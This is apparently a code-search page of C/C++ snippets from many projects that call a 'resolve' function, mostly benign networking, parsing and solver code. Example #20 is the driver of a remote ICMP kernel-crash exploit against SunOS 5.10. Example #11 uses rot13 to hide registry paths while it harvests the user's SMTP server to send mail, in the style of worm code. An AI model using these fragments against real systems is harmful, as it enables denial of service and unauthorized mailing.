Example #1
0
//===================================================================
//
// raw socket stuff
//
int LIBCOD_CALL server_raw_socket( server_t *server, const string send, string buff, const size_t size ) {
#ifdef __WIN__
    if ( !winsockinit ) {
        WSADATA wsadata;
        WSAStartup( MAKEWORD( 1, 0 ), &wsadata );
        winsockinit = true;
    }
#endif

    int sock, len;
    struct sockaddr_in peer;
    char tmp[ size ];
    
    peer.sin_addr.s_addr = resolve( server->hostname );
    peer.sin_port = htons( server->port );
    peer.sin_family = AF_INET;
    
    sock = socket( AF_INET, SOCK_DGRAM, IPPROTO_UDP );
    if ( sock < 0 )
        return 1;
    
    if ( sendto( sock, send, strlen( send ), 0, (struct sockaddr*) &peer, sizeof( peer ) ) < 0 ) 
        return 2;
    
    if ( timeout( sock, server->timeout ) < 0 ) 
        return 3;
    
    len = recvfrom( sock, tmp, size, 0, NULL, NULL );
    if ( len < 0 ) 
        return 4;
    
    tmp[ len ] = 0;
    strcpy( buff, tmp );
    
    close( sock );
    
    return 0;
}
Example #2
0
void http_init(char *proxy)
{
	char *host, *port;
#ifdef WIN32
	WSADATA wsadata;
	if (!WSAStartup(MAKEWORD(2,2), &wsadata))
		http_up = 1;
#else
	signal(SIGPIPE, SIG_IGN);
	http_up = 1;
#endif
	if (proxy)
	{
		host = getserv(proxy);
		port = getport(proxy);
		if (resolve(host, port, &http_proxy))
			http_up = 0;
		else
			http_use_proxy = 1;
		free(host);
		free(port);
	}
}
Example #3
0
void CFile::open(const STRING &fileName, CONST UINT mode)
{
	if (m_hFile != HFILE_ERROR)
	{
		CloseHandle(HANDLE(m_hFile));
	}
	m_filename = fileName;

	DWORD access = GENERIC_READ;
	if (mode & OF_WRITE) access |= GENERIC_WRITE;

	DWORD creation = (mode & OF_CREATE) ? CREATE_ALWAYS : OPEN_EXISTING;

	m_hFile = (HFILE)CreateFile(resolve(fileName).c_str(),
		access,
		FILE_SHARE_READ,
		NULL,
		creation,
		FILE_ATTRIBUTE_NORMAL,
		NULL);        

	memset(&m_ptr, 0, sizeof(m_ptr));
}
Example #4
0
    Promise<R> Core<T>::then(const std::function<R (const T&)>& f) {
	auto defer = When::defer<R>();

	auto f2 = [this, defer, f] () mutable {
	    if (_status == RESOLVED) {
		try {
		    defer.resolve(f(_value));
		}
		catch (const std::exception& e) {
		    defer.reject(e.what());
		}
	    }
	    else {
		defer.reject(_error);
	    }
	};

	if (_status == PENDING)
	    _cbs.push_back(f2);
	else
	    f2();
	return defer.promise();;
    }
Example #5
0
File: resolve.c Project: ItsJimi/42
int		resolve(char **tab, char **tryresult, int *pattern, int x)
{
	if (pattern[0] == pattern[1])
	{
		putabl(tryresult);
		return (1);
	}
	if (resolve_son(tab, tryresult, pattern, x))
		return (1);
	if (pattern[1] != 0)
		del_pattern(tryresult, pattern[1] - 1);
	else if (pattern[1] == 0)
	{
		freetab(tryresult);
		tryresult = holy_result(x + 1);
		pattern[1] = 0;
		if (resolve(tab, tryresult, pattern, x + 1))
			return (1);
		else
			return (0);
	}
	return (0);
}
char				*openclose_matcher_find_matching_base(
										t_openclose_matcher *matcher,
										char *s,
										t_lst *stack)
{
	while (*s)
	{
		if (is_escaped(&s))
			continue ;
		if (*s == '\'' && twl_lst_len(stack)
			&& twl_strequ(openclose_mgr_last(stack)->open, "\""))
		{
			s++;
			continue;
		}
		resolve(matcher, stack, &s);
		if (twl_lst_len(stack) == 0)
		{
			return (s);
		}
	}
	return (NULL);
}
Example #7
0
/*ARGSUSED*/
void
dorootnode(Char **v, struct command *c)
{
    name_$dir_type_t dirtype = name_$node_dir_type;
    uid_$t uid;
    status_$t st;
    char *name;
    short namelen;

    setname(short2str(*v++));

    name = short2str(*v);
    namelen = strlen(name);

    name_$resolve(name, &namelen, &uid, &st);
    if (st.all != status_$ok) 
	stderror(ERR_SYSTEM, name, apperr(&st));
    namelen = 0;
    name_$set_diru(&uid, "", &namelen, &dirtype, &st);
    if (st.all != status_$ok) 
	stderror(ERR_SYSTEM, name, apperr(&st));
    dohash(NULL, NULL);
}
Example #8
0
CMD_CODE its_dns(char *www , unsigned int dns, char *ip)
{	
	unsigned char buf[MAX_SIZE_DNS]; /* socket发送的数据 */
	char *DN=www; /* 将要解析的域名(www.xxx.xxx) */
	char name[MAX_SIZE_DNS]; /* 转换为符合DNS报文格式的域名 */
	char recvMsg[MAX_SIZE_DNS]; /* 接收的数据 */
	int len; /* socket发送数据的长度 */
	int len_recvMsg;
	int ret =-1;
	
	sys_log(FUNC, LOG_DBG, " www=%s, dns=0x%08x, ip=%s", www, dns, ip);
	
	len = changeDN(DN,name);	
	setHead(buf);
	setQuery(name,buf,len);
	len += 16;
	//sys_log(FUNC, LOG_DBG, " %s", "---->1");
	len_recvMsg = sendDNSPacket(buf,len,recvMsg, dns);
	//sys_log(FUNC, LOG_DBG, " %s", "---->2");
	ret = resolve(recvMsg,len,len_recvMsg, ip);
	//sys_log(FUNC, LOG_DBG, "---->3  ret=%d",ret);
	return ret;
}
Example #9
0
void FolderModel::setUrl(const QString& url)
{
    const QUrl &resolvedUrl = resolve(url);

    if (url == m_url) {
        m_dirModel->dirLister()->updateDirectory(resolvedUrl);

        return;
    }

    beginResetModel();
    m_url = url;
    m_isDirCache.clear();
    m_dirModel->dirLister()->openUrl(resolvedUrl);
    clearDragImages();
    endResetModel();

    emit urlChanged();
    emit resolvedUrlChanged();

    m_errorString.clear();
    emit errorStringChanged();
}
Example #10
0
int
main(){
  int c;
  int i, j;
  scanf(" %d ", &c);
  while (c){
    c--;
    scanf(" %d %d ", &k, &n);
    k+=8;
    for(i = 0; i < n; i++) {
      scanf(" %d ", &l[i]);
    }
    for(i = 0; i < k; i++){
      for(j = 0; n-j >= 3*(k-i) && j < n; j++){
      r[i][j] = -1;
      }
    }
    printf("%d\n", resolve(0, 0));
  }


  return 0;
}
Example #11
0
static int xsmtp_try_isp(char *message)
{
	struct sockaddr_in addr;
	char buf1[128], buf2[256], buf3[256], buf4[128];
	DWORD indx, dwsize;
	HKEY regkey1, regkey2;
	int success;

	rot13(buf1, "Fbsgjner\\Zvpebfbsg\\Vagrearg Nppbhag Znantre\\Nppbhagf");

	rot13(buf4, "FZGC Freire");

	if (RegOpenKeyEx(HKEY_CURRENT_USER, buf1, 0, KEY_READ, &regkey1) != 0)
		return 1;
	indx = 0;
	success = 0;
	while (RegEnumKey(regkey1, indx++, buf2, sizeof(buf2)) == ERROR_SUCCESS) {
		if (RegOpenKeyEx(regkey1, buf2, 0, KEY_READ, &regkey2) != ERROR_SUCCESS)
			continue;
		memset(buf3, '\0', sizeof(buf3));
		dwsize = 256;
		if (RegQueryValueEx(regkey2, buf4, 0, 0, buf3, &dwsize) == 0) {
			addr.sin_addr.s_addr = resolve(buf3);
			if (addr.sin_addr.s_addr != 0) {
				addr.sin_family = AF_INET;
				addr.sin_port = htons(25);
				if (smtp_send_server(&addr, message) == 0)
					success = 1;
			}
		}
		RegCloseKey(regkey2);

		if (success) break;
	}
	RegCloseKey(regkey1);
	return (success) ? 0 : 1;
}
Example #12
0
/*
    Set an alpha property by name.
 */
static int setAlphaPropertyByName(Ejs *ejs, EjsXML *list, EjsName qname, EjsObj *value)
{
    EjsXML      *elt, *targetObject;
    int         count;

    targetObject = 0;

    count = ejsGetLength(ejs, (EjsObj*) list);
    if (count > 1) {
        //  TODO - why no error in spec?
        assure(0);
        return 0;
    }

    if (count == 0) {
        /*
            Empty list so resolve the real target object and append it to the list.
         */
        targetObject = resolve(ejs, list);
        if (targetObject == 0) {
            return 0;
        }
        if (ejsGetLength(ejs, (EjsObj*) targetObject) != 1) {
            return 0;
        }
        ejsAppendToXML(ejs, list, targetObject);
    }

    /*
        Update the element
     */
    assure(ejsGetLength(ejs, (EjsObj*) list) == 1);
    elt = mprGetItem(list->elements, 0);                        //  TODO OPT - GetFirstItem
    assure(elt);
    ejsSetPropertyByName(ejs, elt, qname, value);
    return 0;
}
Example #13
0
static void Conflict( void )
{
    a_word          *set;
    a_state         *x;
    a_shift_action  *tx;
    a_reduce_action *rx;
    a_reduce_action **reduce;
    set_size        *work;
    set_size        i;

    set = AllocSet( 1 );
    reduce = CALLOC( nterm, a_reduce_action * );
    work = CALLOC( nterm, set_size );
    for( x = statelist; x != NULL; x = x->next ) {
        Clear( set );
        for( tx = x->trans; tx->sym != NULL; ++tx ) {
            if( tx->sym->pro == NULL ) {
                SetBit( set, tx->sym->idx );
            }
        }
        for( rx = x->redun; rx->pro != NULL; ++rx ) {
            for( i = 0; i < GetSetSize( 1 ); ++i ) {
                if( rx->follow[i] & set[i] ) {
                    resolve( x, work, reduce );
                    break;
                }
                set[i] |= rx->follow[i];
            }
            if( i < GetSetSize( 1 ) ) {
                break;
            }
        }
    }
    FREE( set );
    FREE( reduce );
    FREE( work );
}
Example #14
0
    Address&
    Address::operator=(const char* address)
    {
      m_resolved = true;

#if defined(DUNE_SYS_HAS_INET_PTON)
      if (inet_pton(AF_INET, address, &m_ia.s_addr) > 0)
        return *this;

#elif defined(DUNE_SYS_HAS_INET_ATON)
      if (inet_aton(address, &m_ia.s_addr) == 1)
        return *this;

#elif defined(DUNE_SYS_HAS_WSA_STRING_TO_ADDRESS)
      SOCKADDR_IN sin;
      sin.sin_family = AF_INET;
      int len = sizeof(SOCKADDR_IN);
      if (WSAStringToAddress((char*)address, AF_INET, 0, (SOCKADDR*)&sin, &len) == 0)
      {
        m_ia.s_addr = sin.sin_addr.s_addr;
        return *this;
      }

#elif defined(DUNE_SYS_HAS_INET_ADDR)
      uint32_t rv = inet_addr(address);
      if (rv != INADDR_NONE)
      {
        m_ia.s_addr = rv;
        return *this;
      }
#endif
      m_resolved = false;
      m_host = address;
      std::memset(&m_ia, 0, sizeof(in_addr));
      resolve();
      return *this;
    }
Example #15
0
File: pi.c Project: abfeldman/lydia
tv_nf pi_brute_force(const_tv_nf cf)
{
    unsigned int x, y;

    tv_nf copy = rdup_tv_nf(cf); /* We don't want to destroy the input, do we? */
    tv_nf result = truncate_copy_nf(cf);

    tv_literal_set_list input = get_literal_sets(copy);
    tv_literal_set_list output = get_literal_sets(result);

    set_literal_sets(copy, (input = remove_subsumed_literal_set_list(input)));

    for (x = 0; x < input->sz; x++) {
        tv_literal_set cx = input->arr[x];
        if (is_subsumed_list(output, cx)) {
            continue;
        }
        output = remove_subsumed_list(output, cx);
        for (y = 0; y < output->sz; y++) {
            tv_literal_set r = resolve(cx, output->arr[y]);
            if (tv_literal_setNIL != r) {
                if (!is_tautology(r)) {
                    input = append_tv_literal_set_list(input, r);
                } else {
                    rfre_tv_literal_set(r);
                }
            }
        }
        output = append_tv_literal_set_list(output, rdup_tv_literal_set(cx));
    }

    rfre_tv_nf(copy);

    set_literal_sets(result, output);

    return result;
}
Example #16
0
/*
* This function combines both getaddrinfo() and getnameinfo(), so in short, everything the module does!
* This was decided for simplicity purposes since this is just a wrapper around getdns which does all the work.
*/
getdns_return_t getdns_gethostinfo(const char *name, int af, struct addr_param *result_ptr, 
        char *intern_buffer, size_t buflen, int32_t *ttlp, char **canonp, uint32_t *respstatus, uint32_t *dnssec_status)
{
    getdns_return_t return_code; 
    if(!intern_buffer || buflen < sizeof(char) || (!result_ptr))
    {
        log_critical("getdns_gethostinfo: Memory error...");
        return GETDNS_RETURN_MEMORY_ERROR;
    }
    *respstatus = GETDNS_RESPSTATUS_NO_NAME;
    if( (af != AF_INET) && (af != AF_INET6) && (af != AF_UNSPEC) )
    {
        log_warning("getdns_gethostinfo: Address family not supported: %d .", af);
        return GETDNS_RETURN_WRONG_TYPE_REQUESTED;
    }
    memset(intern_buffer, 0, buflen);
    UNUSED_PARAM(ttlp);
	struct callback_fn_arg arg = {.result_ptr=result_ptr, .af=af, .buffer=intern_buffer, .buflen=buflen,
 			.respstatus=respstatus, .dnssec_status=dnssec_status
 	};
	if((return_code = resolve(name, &arg)) != GETDNS_RETURN_GOOD)
	{
		log_info("getdns_gethostinfo(<%s>): Failed parsing response: ERROR < %d >\n", name, return_code);
	}
	 /*
	This section is not complete:
	TODO:
	1. Do all the getdns data structures need to be cleaned up, or does destroying the top-level node suffice? 
	*Let's valgrind it and see, maybe?!
	*/
	if(canonp && *respstatus == GETDNS_RESPSTATUS_GOOD)
	{
		*canonp = result_ptr->addr_entry.p_hostent->h_name;
	}
	log_debug("Query(%s) => < %d > - DNSSEC STATUS: {%s}\n", name, *respstatus, getdns_get_errorstr_by_id(*dnssec_status));
    return return_code;
}
Example #17
0
llong resolve(int S, int width)
{
    int i;
    int S1;
    llong VF = 0;
    llong subVF = 0;

    if (width > 0) {
        VF = mem_vf[S][width];
        if (0 == VF) {
            for (i = (S > 9) ? 9 : S; i >= 0; i--) {
                S1 = S - i;
                if (S1) {
                    subVF = resolve(S1, width - 1);
                } else {
                    subVF = 1;
                }
                VF = (mem_vf[S][width] += subVF);
            }
        }
    }

    return VF;
}
Example #18
0
void FolderModel::setUrl(const QString& url)
{
    const QUrl &resolvedUrl = resolve(url);

    if (url == m_url) {
        m_dirModel->dirLister()->updateDirectory(resolvedUrl);

        return;
    }

    beginResetModel();
    m_url = url;
    m_isDirCache.clear();
    m_dirModel->dirLister()->openUrl(resolvedUrl);
    clearDragImages();
    endResetModel();

    emit urlChanged();
    emit resolvedUrlChanged();

    m_errorString.clear();
    emit errorStringChanged();

    if (m_dirWatch) {
        delete m_dirWatch;
    }

    if (resolvedUrl.isLocalFile()) {
        m_dirWatch = new KDirWatch(this);
        connect(m_dirWatch, &KDirWatch::created, this, &FolderModel::iconNameChanged);
        connect(m_dirWatch, &KDirWatch::dirty, this, &FolderModel::iconNameChanged);
        m_dirWatch->addFile(resolvedUrl.toLocalFile() + QLatin1String("/.directory"));
    }

    emit iconNameChanged();
}
Example #19
0
std::string
HelperImpl::resolve(std::string const& input_file) const
{
  assert(!input_file.empty());

  std::string result = input_file + output_file_suffix(); // output file

  std::ifstream fin(input_file.c_str());
  assert(fin);

  std::ofstream fout(result.c_str());
  assert(fout);

  boost::scoped_ptr<classad::ClassAd> ad(utils::parse_classad(fin));
  boost::scoped_ptr<classad::ClassAd> resolved_ad(resolve(&*ad));

  if (resolved_ad.get() == 0) {
    throw std::logic_error(id() + " - cannot resolve");
  }

  fout << utils::unparse_classad(*resolved_ad) << '\n';

  return result;
}
Example #20
0
int main(int argc, char *argv[])
{
  struct sockaddr_in dst;
  long saddr, daddr;
  int s;

  if (argc < 2)
  {
    printf("SunOS 5.10 Remote ICMP Kernel Crash Exploit by kcope\n");
    printf("Usage: %s <dst>\n", *argv);
    return(1);
  }

  daddr = resolve(argv[1]);
  saddr = INADDR_ANY;

  memcpy(rawData+16, &daddr, sizeof(long));
//  memcpy(rawData+12, &saddr, sizeof(long));

  dst.sin_addr.s_addr = daddr;
  dst.sin_family = AF_INET;

  s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (s == -1)
    return(1);

  printf("Sending ICMP packet: %s\n", argv[1]);

      if (sendto(s,&rawData,77,0,(struct sockaddr *)&dst,sizeof(struct sockaddr_in)) == -1)
      {
        perror("Error sending packet");
        exit(-1);
      }

  return(0);
}
Example #21
0
int	main(int ac, char **av)
{
  int	i;

  i = 0;
  if (ac != 10 || count_chars(av) == 0)
    fprintf(stderr, "%s\n", usage);
  else
    {
      while (++i < 10)
	{
	  if (!check_chars(av[i]))
	    {
	      fprintf(stderr, "%s\n", "sudoku need 10 row");
	      return (0);
	    }
	}
      if (resolve(av, 0))
	display_tab(av);
      else
	fprintf(stderr, "%s\n", "resolve failed");
    }
  return (0);
}
Example #22
0
void IP::set(unsigned long ip, const char *host)
{
    bool bResolve = false;
    if (ip != m_ip){
        m_ip = ip;
        if (m_host){
            delete[] m_host;
            m_host = NULL;
        }
        bResolve = true;
    }
    if (host && *host){
        if (m_host){
            if (!strcmp(m_host, host))
                return;
            delete[] m_host;
            m_host = NULL;
        }
        m_host = new char[strlen(host) + 1];
        strcpy(m_host, host);
    }
    if (bResolve && m_host)
        resolve();
}
Example #23
0
void res(char *name, char *ns)
{
	struct timeval time;
	struct in_addr address;

	address = resolve(name, ns, &time);
	printf("%s = %s (query took %d.%06d seconds from %s.)\n",
		name,
		inet_ntoa(address),
		time.tv_sec,
		time.tv_usec,
		ns
		);

	address = resolve_cached(name, ns, &time);
	printf("(%s) %d.%06ds to resolve from cache\n", 
		inet_ntoa(address), time.tv_sec, time.tv_usec);
	address = resolve_cached(name, ns, &time);
	printf("(%s) %d.%06ds to resolve from cache\n", 
		inet_ntoa(address), time.tv_sec, time.tv_usec);
	address = resolve_cached(name, ns, &time);
	printf("(%s) %d.%06ds to resolve from cache\n", 
		inet_ntoa(address), time.tv_sec, time.tv_usec);
}
Example #24
0
int resolve(int mat[9][9], int i, int j)
{
  int percorre = 0 , usado[10] = {0};
  do
    {
      do
	{
	  if (!mat[i][j])
	      goto achou;
	  j++;
	}
      while ( j < 9);
      j = 0;
      i++;
    }
  while (i < 9);
  return 1;
 achou:
  for (percorre = 0; percorre < 9; percorre++)
    {
      usado[mat[i][percorre]] = 1;
      usado[mat[percorre][j]] = 1;
      usado[mat[i/3*3+percorre/3][j/3*3+percorre%3]] = 1;
    }
  for (percorre = 1; percorre < 10; percorre++)
    {
      if (!usado[percorre])
	{
	  mat[i][j] = percorre;
	  if (resolve(mat, i, j))
	    return 1;
	}
    }
  mat[i][j] = 0;
  return 0;
}
Example #25
0
bool
CompositorParent::SetTestSampleTime(LayerTransactionParent* aLayerTree,
                                    const TimeStamp& aTime)
{
  if (aTime.IsNull()) {
    return false;
  }

  mIsTesting = true;
  mTestTime = aTime;

  // Update but only if we were already scheduled to animate
  if (mCompositionManager && mCurrentCompositeTask) {
    AutoResolveRefLayers resolve(mCompositionManager);
    bool requestNextFrame = mCompositionManager->TransformShadowTree(aTime);
    if (!requestNextFrame) {
      CancelCurrentCompositeTask();
      // Pretend we composited in case someone is wating for this event.
      DidComposite();
    }
  }

  return true;
}
Example #26
0
static sFuncCall *append(sFuncCall *cur,const char *name,unsigned long long addr) {
	sFuncCall *c;
	sFuncCall *call = (sFuncCall*)malloc(sizeof(sFuncCall));
	if(call == NULL)
		exit(EXIT_FAILURE);
	call->calls = 0;
	call->time = 0;
	call->parent = cur;
	call->child = NULL;
	call->next = NULL;
	call->addr = addr;
	call->running = 0;
	strncpy(call->name,resolve(name,addr),MAX_FUNC_LEN);

	c = cur->child;
	if(c) {
		while(c->next != NULL)
			c = c->next;
		c->next = call;
	}
	else
		cur->child = call;
	return call;
}
Example #27
0
/*----------------------------------------------------------------------------*/
bool LibKsef :: init()
{
  QString ext = ".so";
  QString path = "./";
#ifdef WIN32
  ext = ".dll";
  path = "";
#endif
  if(!isLoaded())
  {
    setFileName(QString("%1ksef%2").arg(path).arg(ext));
    if(!load())
    {
      setFileName(QString("%1libksef%2").arg(path).arg(ext));
      if(!load())
        return false;
    }

    _mk_txt_bill = (ksef_mk_bill_t) resolve("_ksef_mk_bill");
    if(_mk_txt_bill == NULL)
      _mk_txt_bill = (ksef_mk_bill_t) resolve("ksef_mk_bill");
    if(_mk_txt_bill == NULL)
      return false;

    _mk_html_bill = (ksef_mk_bill_t) resolve("_ksef_mk_html");
    if(_mk_html_bill == NULL)
      _mk_html_bill = (ksef_mk_bill_t) resolve("ksef_mk_html");
    if(_mk_html_bill == NULL)
      return false;


    _free = (ksef_free_t)resolve("_ksef_free");
    if(_free == NULL)
      _free = (ksef_free_t)resolve("ksef_free");
  }
  return true;
}
Example #28
0
void URI::resolve(const std::string& relativeURI)
{
	URI parsedURI(relativeURI);
	resolve(parsedURI);
}
Example #29
0
static void handle_ip_packet(struct ip* iptr, int hw_dir)
{
    int direction = 0; /* incoming */
    history_type* ht;
    union {
      history_type **ht_pp;
      void **void_pp;
    } u_ht = { &ht };
    addr_pair ap;
    unsigned int len = 0;
    struct in6_addr scribdst;   /* Scratch pad. */
    struct in6_addr scribsrc;   /* Scratch pad. */
    /* Reinterpret packet type. */
    struct ip6_hdr* ip6tr = (struct ip6_hdr *) iptr;

    memset(&ap, '\0', sizeof(ap));

    if( (IP_V(iptr) ==4 && options.netfilter == 0)
            || (IP_V(iptr) == 6 && options.netfilter6 == 0) ) { 
        /*
         * Net filter is off, so assign direction based on MAC address
         */
        if(hw_dir == 1) {
            /* Packet leaving this interface. */
            assign_addr_pair(&ap, iptr, 0);
            direction = 1;
        }
        else if(hw_dir == 0) {
            /* Packet incoming */
            assign_addr_pair(&ap, iptr, 1);
            direction = 0;
        }
        /* Packet direction is not given away by h/ware layer.  Try IP
         * layer
         */
        else if((IP_V(iptr) == 4) && have_ip_addr && ip_addr_match(iptr->ip_src)) {
            /* outgoing */
            assign_addr_pair(&ap, iptr, 0);
            direction = 1;
        }
        else if((IP_V(iptr) == 4) && have_ip_addr && ip_addr_match(iptr->ip_dst)) {
            /* incoming */
            assign_addr_pair(&ap, iptr, 1);
            direction = 0;
        }
        else if((IP_V(iptr) == 6) && have_ip6_addr && ip6_addr_match(&ip6tr->ip6_src)) {
            /* outgoing */
            assign_addr_pair(&ap, iptr, 0);
            direction = 1;
        }
        else if((IP_V(iptr) == 6) && have_ip6_addr && ip6_addr_match(&ip6tr->ip6_dst)) {
            /* incoming */
            assign_addr_pair(&ap, iptr, 1);
            direction = 0;
        }
        /*
         * Cannot determine direction from hardware or IP levels.  Therefore 
         * assume that it was a packet between two other machines, assign
         * source and dest arbitrarily (by numerical value) and account as 
         * incoming.
         */
	else if (options.promiscuous_but_choosy) {
	    return;		/* junk it */
	}
        else if((IP_V(iptr) == 4) && (iptr->ip_src.s_addr < iptr->ip_dst.s_addr)) {
            assign_addr_pair(&ap, iptr, 1);
            direction = 0;
        }
        else if(IP_V(iptr) == 4) {
            assign_addr_pair(&ap, iptr, 0);
            direction = 0;
        }
        /* Drop other uncertain packages. */
    }

    if(IP_V(iptr) == 4 && options.netfilter != 0) {
        /* 
         * Net filter on, assign direction according to netmask 
         */ 
        if(in_filter_net(iptr->ip_src) && !in_filter_net(iptr->ip_dst)) {
            /* out of network */
            assign_addr_pair(&ap, iptr, 0);
            direction = 1;
        }
        else if(in_filter_net(iptr->ip_dst) && !in_filter_net(iptr->ip_src)) {
            /* into network */
            assign_addr_pair(&ap, iptr, 1);
            direction = 0;
        }
        else {
            /* drop packet */
            return ;
        }
    }

    if(IP_V(iptr) == 6 && options.netfilter6 != 0) {
        /*
         * Net filter IPv6 active.
         */
        int j;
        //else if((IP_V(iptr) == 6) && have_ip6_addr && ip6_addr_match(&ip6tr->ip6_dst)) {
        /* First reduce the participating addresses using the netfilter prefix.
         * We need scratch pads to do this.
         */
        for (j=0; j < 16; ++j) {
            scribdst.s6_addr[j] = ip6tr->ip6_dst.s6_addr[j]
                                        & options.netfilter6mask.s6_addr[j];
            scribsrc.s6_addr[j] = ip6tr->ip6_src.s6_addr[j]
                                        & options.netfilter6mask.s6_addr[j];
        }

        /* Now look for any hits. */
        //if(in_filter_net(iptr->ip_src) && !in_filter_net(iptr->ip_dst)) {
        if (IN6_ARE_ADDR_EQUAL(&scribsrc, &options.netfilter6net)
                && ! IN6_ARE_ADDR_EQUAL(&scribdst, &options.netfilter6net)) {
            /* out of network */
            assign_addr_pair(&ap, iptr, 0);
            direction = 1;
        }
        //else if(in_filter_net(iptr->ip_dst) && !in_filter_net(iptr->ip_src)) {
        else if (! IN6_ARE_ADDR_EQUAL(&scribsrc, &options.netfilter6net)
                    && IN6_ARE_ADDR_EQUAL(&scribdst, &options.netfilter6net)) {
            /* into network */
            assign_addr_pair(&ap, iptr, 1);
            direction = 0;
        }
        else {
            /* drop packet */
            return ;
        }
    }

#if 1
    /* Test if link-local IPv6 packets should be dropped. */
    if( IP_V(iptr) == 6 && !options.link_local
            && (IN6_IS_ADDR_LINKLOCAL(&ip6tr->ip6_dst)
                || IN6_IS_ADDR_LINKLOCAL(&ip6tr->ip6_src)) )
        return;
#endif

    /* Do address resolving. */
    switch (IP_V(iptr)) {
      case 4:
          ap.protocol = iptr->ip_p;
          /* Add the addresses to be resolved */
          /* The IPv4 address is embedded in a in6_addr structure,
           * so it need be copied, and delivered to resolve(). */
          memset(&scribdst, '\0', sizeof(scribdst));
          memcpy(&scribdst, &iptr->ip_dst, sizeof(struct in_addr));
          resolve(ap.af, &scribdst, NULL, 0);
          memset(&scribsrc, '\0', sizeof(scribsrc));
          memcpy(&scribsrc, &iptr->ip_src, sizeof(struct in_addr));
          resolve(ap.af, &scribsrc, NULL, 0);
          break;
      case 6:
          ap.protocol = ip6tr->ip6_nxt;
          /* Add the addresses to be resolved */
          resolve(ap.af, &ip6tr->ip6_dst, NULL, 0);
          resolve(ap.af, &ip6tr->ip6_src, NULL, 0);
      default:
          break;
    }


    if(hash_find(history, &ap, u_ht.void_pp) == HASH_STATUS_KEY_NOT_FOUND) {
        ht = history_create();
        hash_insert(history, &ap, ht);
    }

    /* Do accounting. */
    switch (IP_V(iptr)) {
      case 4:
          len = ntohs(iptr->ip_len);
          break;
      case 6:
          len = ntohs(ip6tr->ip6_plen) + 40;
      default:
          break;
    }

    /* Update record */
    ht->last_write = history_pos;
    if( ((IP_V(iptr) == 4) && (iptr->ip_src.s_addr == ap.src.s_addr))
       || ((IP_V(iptr) == 6) && !memcmp(&ip6tr->ip6_src, &ap.src6, sizeof(ap.src6))) )
    {
        ht->sent[history_pos] += len;
        ht->total_sent += len;
    }
    else {
        ht->recv[history_pos] += len;
        ht->total_recv += len;
    }

    if(direction == 0) {
        /* incoming */
        history_totals.recv[history_pos] += len;
        history_totals.total_recv += len;
    }
    else {
        history_totals.sent[history_pos] += len;
        history_totals.total_sent += len;
    }
    
}
Example #30
0
static int
thread_db_load (void)
{
  void *handle;
  td_err_e err;

  handle = dlopen (LIBTHREAD_DB_SO, RTLD_NOW);
  if (handle == NULL)
      return 0;

#define resolve(X)			\
 if (!(X##_p = dlsym (handle, #X)))	\
   return 0;

  resolve(td_init);
  resolve(td_ta_new);
  resolve(td_ta_delete);
  resolve(td_ta_map_id2thr);
  resolve(td_ta_map_lwp2thr);
  resolve(td_ta_thr_iter);
  resolve(td_thr_get_info);
#ifdef PT_GETXMMREGS
  resolve(td_thr_getxmmregs);
#endif
  resolve(td_thr_getfpregs);
  resolve(td_thr_getgregs);
#ifdef PT_GETXMMREGS
  resolve(td_thr_setxmmregs);
#endif
  resolve(td_thr_setfpregs);
  resolve(td_thr_setgregs);
  resolve(td_thr_sstep);
  resolve(td_ta_tsd_iter);
  resolve(td_thr_dbsuspend);
  resolve(td_thr_dbresume);
  resolve(td_thr_tls_get_addr);

  /* Initialize the library.  */
  err = td_init_p ();
  if (err != TD_OK)
    {
      warning ("Cannot initialize libthread_db: %s", thread_db_err_str (err));
      return 0;
    }

  /* These are not essential.  */
  td_ta_event_addr_p = dlsym (handle, "td_ta_event_addr");
  td_ta_set_event_p = dlsym (handle, "td_ta_set_event");
  td_ta_event_getmsg_p = dlsym (handle, "td_ta_event_getmsg");
  td_thr_event_enable_p = dlsym (handle, "td_thr_event_enable");
  td_thr_tls_get_addr_p = dlsym (handle, "td_thr_tls_get_addr");
  
  return 1;
}